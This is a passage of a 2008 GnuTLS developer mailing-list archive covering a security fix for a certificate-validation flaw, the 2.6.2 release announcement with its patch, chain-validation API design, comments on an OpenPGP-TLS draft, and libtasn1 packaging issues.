bejnet at yahoo.com Wed Nov 12 11:11:45 2008 From: bejnet at yahoo.com (Bejoy Abraham Mathews) Date: Wed, 12 Nov 2008 15:41:45 +0530 (IST) Subject: OpenLDAP related flaw in GnuTLS References: Message-ID: <568891.16563.qm@web95415.mail.in2.yahoo.com> Hi I have been trying to setup OpenLDAP+GnuTLS. But not that successful. Could someone guide me on this or some link? In the meanwhile I am trying my best to set it up still... Hope these two complaints on gnutls, have been looked into, in the latest versions 1. http://www.openldap.org/lists/openldap-devel/200802/msg00072.html 2. http://rustykruffle.com/2008/07/17/ultimate-home-server-ldap-gnutls-nightmare/. With Regards Bejoy Be the first one to try the new Messenger 9 Beta! Go to http://in.messenger.yahoo.com/win/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From wk at gnupg.org Wed Nov 12 11:52:08 2008 From: wk at gnupg.org (Werner Koch) Date: Wed, 12 Nov 2008 11:52:08 +0100 Subject: supporting out-of-process certificate validation In-Reply-To: <87skpxs3xd.fsf@mocca.josefsson.org> (Simon Josefsson's message of "Wed, 12 Nov 2008 10:13:02 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> <87r65iuezi.fsf_-_@squeak.fifthhorseman.net> <87hc6dtkkz.fsf@mocca.josefsson.org> <87abc5l3po.fsf@wheatstone.g10code.de> <87skpxs3xd.fsf@mocca.josefsson.org> Message-ID: <87wsf9jjxj.fsf@wheatstone.g10code.de> On Wed, 12 Nov 2008 10:13, simon at josefsson.org said: > I'm not sure exactly what the DoS attacks are here. The obvious one is > when the attacker sends a long X.509 chain with large RSA keys that > takes a long time to verify the signatures for. The solution to that Right, that is what I had in mind. It is not a real threat for non-online applications like GnuPG, thus the certificates are verified as early as possible. Because GnuPG is usually configured to automatically retrieve missing certificates (and CRL for all of them), the network access is usually the bottleneck. I once had the plan to write some universal chain validation code but it turned out that the requirements are all to different and thus such code would be cluttered with all kinds of hook to allow retrieving of missing certificates, query the user, check policies and soon. So I ended up with slightly different validation code in GnuPG (gpgsm) and dirmngr. Salam-Shalom, Werner -- Die Gedanken sind frei. Auschnahme regelt ein Bundeschgesetz. From n.mavrogiannopoulos at gmail.com Wed Nov 12 14:37:35 2008 From: n.mavrogiannopoulos at gmail.com (Nikos Mavrogiannopoulos) Date: Wed, 12 Nov 2008 15:37:35 +0200 Subject: Bug#505279: libgnutls26: segfault in _gnutls_x509_crt_get_raw_dn2 In-Reply-To: <87ej1hs118.fsf@mocca.josefsson.org> References: <20081111114007.20961.91566.reportbug@feivel.credativ.de> <87prl2s7l8.fsf@mocca.josefsson.org> <20081111152524.GA15851@feivel.credativ.de> <878wrqqmsy.fsf@mocca.josefsson.org> <20081112100138.GA15126@feivel.credativ.de> <87ej1hs118.fsf@mocca.josefsson.org> Message-ID: On Wed, Nov 12, 2008 at 12:15 PM, Simon Josefsson wrote: >> You mean just removing this code snippet instead of moving it? >> >> /* Check if the last certificate in the path is self signed. >> * In that case ignore it (a certificate is trusted only if it >> * leads to a trusted party by us, not the server's). >> */ >> if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], >> certificate_list[clist_size - 1]) > 0 >> && clist_size > 0) >> { >> clist_size--; >> } > > Yes. > >> Yes, this works. However, I wonder whether this code has any use. > Getting Nikos' comment on this would be useful. I guess we have two > choices: > > 1) Remove the code. Fixes both crash and vulnerability. My suggestion is to remove the offending code. regards, Nikos From simon at josefsson.org Wed Nov 12 15:02:52 2008 From: simon at josefsson.org (Simon Josefsson) Date: Wed, 12 Nov 2008 15:02:52 +0100 Subject: Bug#505279: libgnutls26: segfault in _gnutls_x509_crt_get_raw_dn2 In-Reply-To: (Nikos Mavrogiannopoulos's message of "Wed, 12 Nov 2008 15:37:35 +0200") References: <20081111114007.20961.91566.reportbug@feivel.credativ.de> <87prl2s7l8.fsf@mocca.josefsson.org> <20081111152524.GA15851@feivel.credativ.de> <878wrqqmsy.fsf@mocca.josefsson.org> <20081112100138.GA15126@feivel.credativ.de> <87ej1hs118.fsf@mocca.josefsson.org> Message-ID: <87wsf9oxdf.fsf@mocca.josefsson.org> "Nikos Mavrogiannopoulos" writes: >> 1) Remove the code. Fixes both crash and vulnerability. > > My suggestion is to remove the offending code. Thanks. I'll prepare a 2.6.2 release. /Simon From simon at josefsson.org Wed Nov 12 15:45:34 2008 From: simon at josefsson.org (Simon Josefsson) Date: Wed, 12 Nov 2008 15:45:34 +0100 Subject: GnuTLS 2.6.2 - Brown paper bag release Message-ID: <87myg5ove9.fsf@mocca.josefsson.org> We are proud to announce a new stable GnuTLS release: Version 2.6.2. GnuTLS is a modern C library that implement the standard network security protocol Transport Layer Security (TLS), for use by network applications. GnuTLS is developed for GNU/Linux, but works on many Unix-like systems and comes with a binary installer for Windows. The GnuTLS library is distributed under the terms of the GNU Lesser General Public License version 2.1 (or later). The "extra" GnuTLS library (which contains TLS/IA support, LZO compression and Libgcrypt FIPS-mode handler), the OpenSSL compatibility library, the self tests and the command line tools are all distributed under the GNU General Public License version 3.0 (or later). The manual is distributed under the GNU Free Documentation License version 1.2 (or later). The project page of the library is available at: http://www.gnutls.org/ http://www.gnu.org/software/gnutls/ What's New ========== Version 2.6.2 is a maintenance release on our stable branch. * Version 2.6.2 (released 2008-11-12) ** libgnutls: Fix crash in X.509 validation code for self-signed certificates. The patch to fix the security problem GNUTLS-SA-2008-3 introduced a problem for certificate chains that contained just one self-signed certificate. Reported by Michael Meskes in . ** API and ABI modifications: No changes since last version. Getting the Software ==================== GnuTLS may be downloaded from one of the mirror sites or direct from . The list of mirrors can be found at . Here are the BZIP2 compressed sources (4.9MB): ftp://ftp.gnu.org/gnu/gnutls/gnutls-2.6.2.tar.bz2 http://ftp.gnu.org/gnu/gnutls/gnutls-2.6.2.tar.bz2 Here are OpenPGP detached signatures signed using key 0xB565716F: ftp://ftp.gnu.org/gnu/gnutls/gnutls-2.6.2.tar.bz2.sig http://ftp.gnu.org/gnu/gnutls/gnutls-2.6.2.tar.bz2.sig Note, that we don't distribute gzip compressed tarballs. In order to check that the version of GnuTLS which you are going to install is an original and unmodified one, you should verify the OpenPGP signature. You can use the command gpg --verify gnutls-2.6.2.tar.bz2.sig This checks whether the signature file matches the source file. You should see a message indicating that the signature is good and made by that signing key. Make sure that you have the right key, either by checking the fingerprint of that key with other sources or by checking that the key has been signed by a trustworthy other key. The signing key can be identified with the following information: pub 1280R/B565716F 2002-05-05 [expires: 2009-04-21] Key fingerprint = 0424 D4EE 81A0 E3D1 19C6 F835 EDA2 1E94 B565 716F uid Simon Josefsson uid Simon Josefsson sub 1280R/4D5D40AE 2002-05-05 [expires: 2009-04-21] The key is available from: http://josefsson.org/key.txt dns:b565716f.josefsson.org?TYPE=CERT Alternatively, after successfully verifying the OpenPGP signature of this announcement, you could verify that the files match the following checksum values. The values are for SHA-1 and SHA-224 respectively: 2c7701b61c86d5cec8305f8741bc18bc64f33b31 gnutls-2.6.2.tar.bz2 7783486a33d91eb4872c8f9a51f91bdc928651b6e2d4a0ffb656cb87 gnutls-2.6.2.tar.bz2 Documentation ============= The manual is available online at: http://www.gnu.org/software/gnutls/documentation.html In particular the following formats are available: HTML: http://www.gnu.org/software/gnutls/manual/html_node/index.html PDF: http://www.gnu.org/software/gnutls/manual/gnutls.pdf For developers there is a GnuTLS API reference manual formatted using the GTK-DOC tools: http://www.gnu.org/software/gnutls/reference/gnutls-gnutls.html Community ========= If you need help to use GnuTLS, or want to help others, you are invited to join our help-gnutls mailing list, see: http://lists.gnu.org/mailman/listinfo/help-gnutls If you wish to participate in the development of GnuTLS, you are invited to join our gnutls-dev mailing list, see: http://lists.gnu.org/mailman/listinfo/gnutls-devel Windows installer ================= GnuTLS has been ported to the Windows operating system, and a binary installer is available. The installer contains DLLs for application development, manuals, examples, and source code. The installer uses libgpg-error v1.6, libgcrypt v1.4.3, libtasn1 v1.5, and GnuTLS v2.6.2. For more information about GnuTLS for Windows: http://josefsson.org/gnutls4win/ The Windows binary installer and PGP signature: http://josefsson.org/gnutls4win/gnutls-2.6.2.exe (14MB) http://josefsson.org/gnutls4win/gnutls-2.6.2.exe.sig The checksum values for SHA-1 and SHA-224 are: 5f870f13d96965669598917b82f531825dcc6810 gnutls-2.6.2.exe d2b9b3a153ed45d1262fe38217e3c40dd04500e654b3cbb0f8ce3107 gnutls-2.6.2.exe Thanks to Enrico Tassi, we also have mingw32 *.deb's available: http://josefsson.org/gnutls4win/mingw32-gnutls_2.6.2-1_all.deb The checksum values for SHA-1 and SHA-224 are: 577d2d9df6d0de1b2cd0bca152ad9b3f0f75d171 mingw32-gnutls_2.6.2-1_all.deb f7342095ba15f9b6c9c3176b27ba3491548bef33d32dffe780b20788 mingw32-gnutls_2.6.2-1_all.deb Internationalization ==================== GnuTLS messages have been translated into Dutch, French, German, Malay, Polish, Swedish, and Vietnamese. We welcome the addition of more translations. Support ======= Improving GnuTLS is costly, but you can help! We are looking for organizations that find GnuTLS useful and wish to contribute back. You can contribute by reporting bugs, improve the software, or donate money or equipment. Commercial support contracts for GnuTLS are available, and they help finance continued maintenance. Simon Josefsson Datakonsult, a Stockholm based privately held company, is currently funding GnuTLS maintenance. We are always looking for interesting development projects. See http://josefsson.org/ for more details. The GnuTLS service directory is available at: http://www.gnu.org/software/gnutls/commercial.html Security Patch ============== The following patch can be used if you use releases older than v2.6.1, or if you don't want to upgrade to v2.6.2. It fixes the GNUTLS-SA-2008-3 aka CVE-2008-4989 vulnerability and the crash that was triggered by the patch used to fix the vulnerability in v2.6.1. The patch was created against v2.6.0. --- lib/x509/verify.c- 2008-11-12 15:39:53.000000000 +0100 +++ lib/x509/verify.c 2008-11-12 15:40:18.000000000 +0100 @@ -412,17 +412,6 @@ } #endif - /* Check if the last certificate in the path is self signed. - * In that case ignore it (a certificate is trusted only if it - * leads to a trusted party by us, not the server's). - */ - if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], - certificate_list[clist_size - 1]) > 0 - && clist_size > 0) - { - clist_size--; - } - /* Verify the certificate path (chain) */ for (i = clist_size - 1; i > 0; i--) Happy Hacking, Simon -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 419 bytes Desc: not available URL: From ametzler at downhill.at.eu.org Wed Nov 12 19:36:55 2008 From: ametzler at downhill.at.eu.org (Andreas Metzler) Date: Wed, 12 Nov 2008 19:36:55 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: <87d4h1s107.fsf@mocca.josefsson.org> References: <1226324836.3447.296.camel@vespa.frost.loc> <1226398248.3447.353.camel@vespa.frost.loc> <87y6zqqp4p.fsf@mocca.josefsson.org> <87od0mqojj.fsf@mocca.josefsson.org> <87iqquqn8s.fsf@mocca.josefsson.org> <20081111191649.GB4518@downhill.g.la> <877i7auhsf.fsf@mocca.josefsson.org> <87d4h1s107.fsf@mocca.josefsson.org> Message-ID: <20081112183655.GB4905@downhill.g.la> On 2008-11-12 Simon Josefsson wrote: > Simon Josefsson writes: >>> Applying this to 2.4.2 this does away with the crash, however it does >>> not fix the advisory anymore. (The way to reproduce described in >>> http://news.gmane.org/find-root.php?message_id=%3c4918143A.3050103%40gmx.net%3e >>> works again. >> Really? I think the patch should solve both the crash and the >> advisory. Are you sure you used the right library? > I've tested the patch and it appears to fix both the crash and the > vulnerability. Please test it again. [...] You are right, sorry for the noise. Do not know what happened yesterday. cu andreas -- `What a good friend you are to him, Dr. Maturin. His other friends are so grateful to you.' `I sew his ears on from time to time, sure' From dkg at fifthhorseman.net Wed Nov 12 20:34:21 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Wed, 12 Nov 2008 14:34:21 -0500 Subject: trusted intermediate CAs In-Reply-To: <87d4h1tki2.fsf@mocca.josefsson.org> (Simon Josefsson's message of "Wed\, 12 Nov 2008 09\:29\:41 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> <87k5bauewu.fsf_-_@squeak.fifthhorseman.net> <87d4h1tki2.fsf@mocca.josefsson.org> Message-ID: <87abc420xu.fsf@squeak.fifthhorseman.net> On Wed 2008-11-12 03:29:41 -0500, Simon Josefsson wrote: > Btw, note that certtool -e does not use the same chain validation > algorithm as the GnuTLS library uses -- I believe certtool -e would > have rejected the faulty gnutls-sa-2008-3 chain. Why does certtool not use the same validation technique used in the library? Is this a deliberate design decision? Is there a simple invocation i can use if i have a certificate chain (but no access to the end entity's private key) and i want to see how the library would treat it? certtool --verify-chain seems like the obvious choice (just like i expect "openssl verify" to faithfully exercise libssl behavior). What am i missing? What is the advantage to having certtool run a different set of tests? --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From dkg at fifthhorseman.net Wed Nov 12 22:38:57 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Wed, 12 Nov 2008 16:38:57 -0500 Subject: rfc5081 update In-Reply-To: <490F4F26.1030104@gnutls.org> (Nikos Mavrogiannopoulos's message of "Mon\, 03 Nov 2008 21\:21\:10 +0200") References: <490F4F26.1030104@gnutls.org> Message-ID: <873ahw1v66.fsf@squeak.fifthhorseman.net> On Mon 2008-11-03 14:21:10 -0500, Nikos Mavrogiannopoulos wrote: > ftp://ftp.rfc-editor.org/in-notes/internet-drafts/draft-mavrogiannopoulos-rfc5081bis-02.txt Sorry it's taken me a while to really read this. I have a few concerns. If this is not the proper forum for airing these things, just point me in the right direction. * The draft does not specify what version of OpenPGP certificates should be used for this. Given that RFC 4880 explicitly deprecated V3 certificates, i think this draft should at least do the same. It would be simpler for implementation if this draft specified that compliant implementations MUST support V4 certificates, and MUST NOT use V3 certificates. * Section 3.1 is phrased as a comparison between client and server: struct { select(ClientOrServerExtension) { case client: CertificateType certificate_types<1..2^8-1>; case server: CertificateType certificate_type; } } CertificateTypeExtension; However, i think this is misleading; when the same struct is used during the Client Certificate Request, the server offers some number of CertificateType possibilities, and the client responds with the CertificateType of its choosing. If i'm reading this right, the naming is actually backwards when the struct is used in section 3.5. Maybe it would be better to refer to these struct elements as request/response instead of client/server? * It looks like the values for OpenPGPCertDescriptorType are overlapped: in particular, 1 is bound to "cert" in 5081, but bound to "empty_cert" in 5081bis. This seems like it could cause problems if one party implements 5081 and the other implements 5081bis. * There is no IANA registry requested for OpenPGPCertDescriptorType, and none is allocated in 5081 either. Is that OK? Could this enum ever change? Who will manage addition of new values there are changes needed? * I'm concerned that the useful values for OpenPGPCertDescriptorType (subkey_cert and subkey_cert_fingerprint) all refer to subkeys. It's certainly possible to set the Authentication (0x20) Usage flag [0] on the primary key, or to have a primary key with no subkeys. While i think the obvious answer is that the keyid can refer to *either* the primary key or the subkey (but to a specific key, not to the entire aggregated certificate), it seems a little odd to explicitly call it the subkey id. * Why are OpenPGPKeyID elements written foo<1..8>. Shouldn't we be requiring the full 8 bytes of keyid? The syntax seems to imply to me that i could offer a 1-byte KeyID and still be compliant. * Why does OpenPGPSubKeyFingerprint contain both OpenPGPKeyID and OpenPGPCertFingerprint? For V4 keys, the KeyID is just the low-order 64 bits of the fingerprint [1]. If we only allow V4-or-later keys in this spec, we could remove that struct element. Hope these questions and ideas are useful. Please let me know if i'm not making sense. I look forward to your feedback! --dkg [0] http://tools.ietf.org/html/rfc4880#section-5.2.3.21 [1] http://tools.ietf.org/html/rfc4880#section-12.2 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From nmav at gnutls.org Wed Nov 12 22:41:32 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Wed, 12 Nov 2008 23:41:32 +0200 Subject: trusted intermediate CAs In-Reply-To: <87abc420xu.fsf@squeak.fifthhorseman.net> References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> <87k5bauewu.fsf_-_@squeak.fifthhorseman.net> <87d4h1tki2.fsf@mocca.josefsson.org> <87abc420xu.fsf@squeak.fifthhorseman.net> Message-ID: <491B4D8C.6070505@gnutls.org> Daniel Kahn Gillmor wrote: > On Wed 2008-11-12 03:29:41 -0500, Simon Josefsson wrote: > >> Btw, note that certtool -e does not use the same chain validation >> algorithm as the GnuTLS library uses -- I believe certtool -e would >> have rejected the faulty gnutls-sa-2008-3 chain. > > Why does certtool not use the same validation technique used in the > library? Is this a deliberate design decision? Yes. As I explained in a previous email, the library doesn't export any high level verification function to verify certificate chains. I expected applications to use their own and that's what certtool it does. > Is there a simple > invocation i can use if i have a certificate chain (but no access to > the end entity's private key) and i want to see how the library would > treat it? No. The certtool interface is quite primitive and could be improved (say support a trusted certificate list or more). regards, Nikos From dkg at fifthhorseman.net Thu Nov 13 00:27:39 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Wed, 12 Nov 2008 18:27:39 -0500 Subject: trusted intermediate CAs In-Reply-To: <491B4D8C.6070505@gnutls.org> (Nikos Mavrogiannopoulos's message of "Wed\, 12 Nov 2008 23\:41\:32 +0200") References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> <87k5bauewu.fsf_-_@squeak.fifthhorseman.net> <87d4h1tki2.fsf@mocca.josefsson.org> <87abc420xu.fsf@squeak.fifthhorseman.net> <491B4D8C.6070505@gnutls.org> Message-ID: <87fxlwy178.fsf@squeak.fifthhorseman.net> On Wed 2008-11-12 16:41:32 -0500, Nikos Mavrogiannopoulos wrote: > the library doesn't export any high level verification function to > verify certificate chains. What about gnutls_x509_crt_list_verify() and gnutls_certificate_verify_peers2() ? The latter is used in src/srv.c and srv/cli.c, and i think it calls the former under the hood (using data from the TLS session to fill in the specific parameters). Those seem like high-level functions to verify certificate chains to me. Did you mean something else? > I expected applications to use their own and that's what certtool it > does. _verify_x509_mem() in certtool.c looks like it implements a very similar goal to the goal addressed by gnutls_x509_crt_list_verify(). If there is an alternate validation method that might be superior to gnutls_x509_crt_list_verify(), why not fold it into that function? If the alternate method raises DoS or resource consumption concerns, the library could offer it as an alternative function, so that GnuTLS-based tools in non-DoS-sensitive environments could take advantage of it. I think it would be really useful to have certtool reflect the internal workings of GnuTLS as closely as possible, not least for the sake of providing tools to help admins who are trying to debug/test GnuTLS-based applications. Regards, --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From n.mavrogiannopoulos at gmail.com Thu Nov 13 16:31:41 2008 From: n.mavrogiannopoulos at gmail.com (Nikos Mavrogiannopoulos) Date: Thu, 13 Nov 2008 17:31:41 +0200 Subject: trusted intermediate CAs In-Reply-To: <87fxlwy178.fsf@squeak.fifthhorseman.net> References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> <87k5bauewu.fsf_-_@squeak.fifthhorseman.net> <87d4h1tki2.fsf@mocca.josefsson.org> <87abc420xu.fsf@squeak.fifthhorseman.net> <491B4D8C.6070505@gnutls.org> <87fxlwy178.fsf@squeak.fifthhorseman.net> Message-ID: On Thu, Nov 13, 2008 at 1:27 AM, Daniel Kahn Gillmor wrote: >> the library doesn't export any high level verification function to >> verify certificate chains. > > What about gnutls_x509_crt_list_verify() and > gnutls_certificate_verify_peers2() ? The latter is used in src/srv.c > and srv/cli.c, and i think it calls the former under the hood (using > data from the TLS session to fill in the specific parameters). > > Those seem like high-level functions to verify certificate chains to > me. Did you mean something else? No. But they are not high level functions. There are no hooks to print any useful information like certtool is printing for each verification. > I think it would be really useful to have certtool reflect the > internal workings of GnuTLS as closely as possible, not least for the > sake of providing tools to help admins who are trying to debug/test > GnuTLS-based applications. I agree. We can add it as a todo item. regards, Nikos From nmav at gnutls.org Thu Nov 13 19:29:30 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Thu, 13 Nov 2008 20:29:30 +0200 Subject: More intelligent path finding In-Reply-To: <4919BC2F.2010300@gmx.net> References: <4919BC2F.2010300@gmx.net> Message-ID: <491C720A.6090202@gnutls.org> Martin von Gagern wrote: > Hi again. > > While looking at _gnutls_x509_verify_certificate I realized that I > personally would have implemented this whole verification process a bit > differently. I'm not a regular reader of the gnutls-devel list, but I > have the feeling that some recent posts might go in the same direction. > > I'd have the function called with a single certificate to verify, a list > of untrusted certificates to be used for the chain, and a list of > trusted certificates to be used as the root. The verification process > would look for the issuer of the current certificate first in the list > of trusted certificates. If it finds one, verify and return result. If > not, look for the issuer in the list of untrusted certificates. If it > finds one, verify that next (recursively), if not we don't have enough > material for a chain. > > This process would have two benefits. The order in which the > intermediate certificates are submitted wouldn't matter any more. And > you could also add some intermediate certificate to the list of trusted > certificates, in order to trust a subtree of the hierarchy, and the > server could still continue to submit its whole chain. E.g. a server A > could submit the chain [A, B, C, D, E], with E as a self-signed root. > When you only want to trust certificates from C, you would add that to > your list of trusted CAs, never mind that it's not self signed, and > GnuTLS would accept A after verifying two signatures, A-B and B-C. > [...] > > So much for my suggestion. I would assume that this should be fairly > easy to implement. I don't know whether I will find the time for this in > the forseeable future, though, especially as I still haven't read large > parts of the GnuTLS codebase. So I offer this for discussion, and leave > it for you to comment, maybe even implement, or wait until I find the > time and motivation. Hello Martin, Indeed we are discussing possibility of updating the included verification procedure. My opinion would be to leave the current implementation of gnutls_certificate_verify_peers2() as it is now, and enhance the X.509 library with more flexibility in verification. My thoughs in API would be: add in enum certificate_verify_flags { GNUTLS_VERIFY_LIST_UNORDERED, GNUTLS_VERIFY_RFC5280 } /* When GNUTLS_VERIFY_LIST_UNORDERED is specified then the chain is constructed on the fly by using the algorithm you propose. The flag GNUTLS_VERIFY_RFC5280 should use the verification discussed in rfc5280. However this algorithm is complex and there are many things that can go wrong when implementing it. */ /* One could enhance the verification function as: */ struct { gnutls_x509_crt_t crt; unsigned int verification_status; verify_chain * issuer; } verify_chain; /* This structure will be used to notify the caller about the constructed chain and about the verification status of this certificate verified by the issuer. */ int gnutls_x509_crt_list_verify2 (const gnutls_x509_crt_t * cert_list, int cert_list_length, const gnutls_x509_crt_t * CA_list, int CA_list_length, const gnutls_x509_crl_t * CRL_list, int CRL_list_length, unsigned int flags, time_t now, /* current time */ verify_chain *chain, unsigned int max_chain_size, /* require the caller to allocate chain */ unsigned int *verify) ) Said, that. I'm unable to work on something like that in the near future. regards, Nikos From dragonheart at gentoo.org Thu Nov 13 19:38:51 2008 From: dragonheart at gentoo.org (Daniel Black) Date: Fri, 14 Nov 2008 05:38:51 +1100 Subject: libtasn1-1.6 removed libtasn1-config though gnutls still uses it Message-ID: <200811140538.56751.dragonheart@gentoo.org> from the gnutls-2.6.2 checking for libtasn1-config... no checking for libtasn1 - version >= 0.3.4... no *** The libtasn1-config script installed by LIBTASN1 could not be found can I request libtasn1-config be reinstated until phased out by other things that use it? also - not sure if you still use https://savannah.gnu.org/support/?group=gnutls simple patchs are there https://savannah.gnu.org/support/?106549 https://savannah.gnu.org/support/?106542 also still failing for me here: https://savannah.gnu.org/support/?106543 Cheers, -- Daniel Black Gentoo Foundation -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From dragonheart at gentoo.org Thu Nov 13 19:38:51 2008 From: dragonheart at gentoo.org (Daniel Black) Date: Fri, 14 Nov 2008 05:38:51 +1100 Subject: libtasn1-1.6 removed libtasn1-config though gnutls still uses it Message-ID: <200811140538.56751.dragonheart@gentoo.org> from the gnutls-2.6.2 checking for libtasn1-config... no checking for libtasn1 - version >= 0.3.4... no *** The libtasn1-config script installed by LIBTASN1 could not be found can I request libtasn1-config be reinstated until phased out by other things that use it? also - not sure if you still use https://savannah.gnu.org/support/?group=gnutls simple patchs are there https://savannah.gnu.org/support/?106549 https://savannah.gnu.org/support/?106542 also still failing for me here: https://savannah.gnu.org/support/?106543 Cheers, -- Daniel Black Gentoo Foundation -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From simon at josefsson.org Fri Nov 14 10:56:17 2008 From: simon at josefsson.org (Simon Josefsson) Date: Fri, 14 Nov 2008 10:56:17 +0100 Subject: libtasn1-1.6 removed libtasn1-config though gnutls still uses it In-Reply-To: <200811140538.56751.dragonheart@gentoo.org> (Daniel Black's message of "Fri, 14 Nov 2008 05:38:51 +1100") References: <200811140538.56751.dragonheart@gentoo.org> Message-ID: <877i764on2.fsf@mocca.josefsson.org> Daniel Black writes: > from the gnutls-2.6.2 > checking for libtasn1-config... no > checking for libtasn1 - version >= 0.3.4... no > *** The libtasn1-config script installed by LIBTASN1 could not be found Ouch. > can I request libtasn1-config be reinstated until phased out by other things > that use it? Sure, we'll add it until gnutls 2.7.x has been released stable, it doesn't use libtasn1-config anymore. Do you know of any other software that uses libtasn1-config? Given that the libtasn1 master branch introduces an ABI break, I think we'll need a libtasn1 1.7 that only re-adds the libtasn1-config stuff. I'll see if I can prepare one today. > also - not sure if you still use > https://savannah.gnu.org/support/?group=gnutls > > simple patchs are there > https://savannah.gnu.org/support/?106549 > https://savannah.gnu.org/support/?106542 > > also still failing for me here: > https://savannah.gnu.org/support/?106543 Thanks for pointer, I'll look over these. /Simon From dragonheart at gentoo.org Fri Nov 14 12:13:37 2008 From: dragonheart at gentoo.org (Daniel Black) Date: Fri, 14 Nov 2008 22:13:37 +1100 Subject: libtasn1-1.6 removed libtasn1-config though gnutls still uses it In-Reply-To: <877i764on2.fsf@mocca.josefsson.org> References: <200811140538.56751.dragonheart@gentoo.org> <877i764on2.fsf@mocca.josefsson.org> Message-ID: <200811142213.41618.dragonheart@gentoo.org> On Fri, 14 Nov 2008 08:56:17 pm Simon Josefsson wrote: > Daniel Black writes: > > from the gnutls-2.6.2 > > checking for libtasn1-config... no > > checking for libtasn1 - version >= 0.3.4... no > > *** The libtasn1-config script installed by LIBTASN1 could not be found > > Ouch. > > > can I request libtasn1-config be reinstated until phased out by other > > things that use it? > > Sure, we'll add it until gnutls 2.7.x has been released stable, it > doesn't use libtasn1-config anymore. Do you know of any other software > that uses libtasn1-config? of all the gentoo packages that depend on libtasn1 only gnome-keyring-2.22. {2,3} did use libtasn1-config There's no bug reports about including using pkgconfig for later versions on gnome-keyring, > Given that the libtasn1 master branch introduces an ABI break, is it an API break as well? I think I saw from the discussion it was. > I think > we'll need a libtasn1 1.7 that only re-adds the libtasn1-config stuff. > I'll see if I can prepare one today. thankyou. > > also - not sure if you still use > > https://savannah.gnu.org/support/?group=gnutls > > > > simple patchs are there > > https://savannah.gnu.org/support/?106549 > > https://savannah.gnu.org/support/?106542 > > > > also still failing for me here: > > https://savannah.gnu.org/support/?106543 > > Thanks for pointer, I'll look over these. > > /Simon -- Daniel Black Gentoo Foundation -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From simon at josefsson.org Fri Nov 14 12:30:27 2008 From: simon at josefsson.org (Simon Josefsson) Date: Fri, 14 Nov 2008 12:30:27 +0100 Subject: libtasn1-1.6 removed libtasn1-config though gnutls still uses it In-Reply-To: <200811142213.41618.dragonheart@gentoo.org> (Daniel Black's message of "Fri, 14 Nov 2008 22:13:37 +1100") References: <200811140538.56751.dragonheart@gentoo.org> <877i764on2.fsf@mocca.josefsson.org> <200811142213.41618.dragonheart@gentoo.org> Message-ID: <87k5b635po.fsf@mocca.josefsson.org> Daniel Black writes: >> Sure, we'll add it until gnutls 2.7.x has been released stable, it >> doesn't use libtasn1-config anymore. Do you know of any other software >> that uses libtasn1-config? > > of all the gentoo packages that depend on libtasn1 only gnome-keyring-2.22. > {2,3} did use libtasn1-config > > There's no bug reports about including using pkgconfig for later versions on > gnome-keyring, Can you file one? Libtasn1-config will go away with libtasn1 v2.0. >> Given that the libtasn1 master branch introduces an ABI break, > > is it an API break as well? I think I saw from the discussion it was. Yes, v2.0 will remove one struct from libtasn1.h that were never intended to be exported, so strictly speaking it is an API break -- however we don't think any projects have been using that struct. /Simon From simon at josefsson.org Fri Nov 14 12:54:45 2008 From: simon at josefsson.org (Simon Josefsson) Date: Fri, 14 Nov 2008 12:54:45 +0100 Subject: libtasn1 1.7 release candidate (was: Re: libtasn1-1.6 removed libtasn1-config though gnutls still uses it) In-Reply-To: <87k5b635po.fsf@mocca.josefsson.org> (Simon Josefsson's message of "Fri, 14 Nov 2008 12:30:27 +0100") References: <200811140538.56751.dragonheart@gentoo.org> <877i764on2.fsf@mocca.josefsson.org> <200811142213.41618.dragonheart@gentoo.org> <87k5b635po.fsf@mocca.josefsson.org> Message-ID: <87fxlu34l6.fsf_-_@mocca.josefsson.org> Please test this snapshot: http://daily.josefsson.org/libtasn1-1/libtasn1-1-20081114.tar.gz If you can confirm that it solves the libtasn1-config problem, I'll release it. Others, please test and tell me if there is anything wrong with it. Btw, there is now a 'libtasn1-1.x' branch: http://git.savannah.gnu.org/gitweb/?p=libtasn1.git http://git.savannah.gnu.org/gitweb/?p=libtasn1.git;a=shortlog;h=refs/heads/libtasn1_1_x /Simon From arfrever.fta at gmail.com Fri Nov 14 21:49:27 2008 From: arfrever.fta at gmail.com (Arfrever Frehtes Taifersar Arahesis) Date: Fri, 14 Nov 2008 21:49:27 +0100 Subject: libtasn1 1.7 release candidate (was: Re: libtasn1-1.6 removed libtasn1-config though gnutls still uses it) In-Reply-To: <87fxlu34l6.fsf_-_@mocca.josefsson.org> References: <200811140538.56751.dragonheart@gentoo.org> <87k5b635po.fsf@mocca.josefsson.org> <87fxlu34l6.fsf_-_@mocca.josefsson.org> Message-ID: <200811142149.32020.Arfrever.FTA@gmail.com> 2008-11-14 12:54:45 Simon Josefsson napisa?(a): > Please test this snapshot: > > 